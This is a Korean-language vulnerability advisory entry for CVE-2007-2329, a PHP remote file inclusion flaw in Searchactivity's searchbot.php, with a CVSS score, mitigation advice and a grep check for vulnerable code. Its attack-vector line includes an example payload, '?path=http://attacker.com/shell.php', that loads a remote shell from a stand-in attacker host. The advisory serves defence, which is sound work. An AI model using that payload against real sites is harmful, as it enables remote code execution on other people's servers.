🔍 CVE-2007-2329

7.5
CVSS Score
HIGH
2007-04-27
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Searchactivity의 searchbot.php 파일에서 path 매개변수를 통해 원격 파일을 포함할 수 있는 PHP 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 URL을 path 매개변수에 전달하여 임의의 PHP 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹사이트의 searchbot.php 파일이 사용자가 입력한 경로를 검증하지 않고 그대로 사용합니다. 공격자는 이를 이용해 다른 서버의 악성 파일을 실행시킬 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in searchbot.php in Searchactivity allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.

📍 영향받는 시스템

Searchactivity (구체적 버전 미명시, 2007년 경 버전)

⚔️ 공격 벡터

searchbot.php의 path 파라미터에 원격 URL 주입 (예: ?path=http://attacker.com/shell.php)

🛡️ 대응 방법

Searchactivity를 최신 버전으로 업그레이드하고, allow_url_include 설정을 OFF로 변경하며, 사용자 입력을 화이트리스트로 검증

🔧 검증 코드

명령어가 include/require 함수와 함께 path 변수를 사용하는 코드를 발견하면 취약점 존재 가능성 높음. 결과가 없으면 해당 애플리케이션이 설치되지 않았거나 패치됨

Shell / Script 
grep -r "allow_url_include\|path.*include\|path.*require" /path/to/searchactivity/ 2>/dev/null || echo 'Searchactivity not found'

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP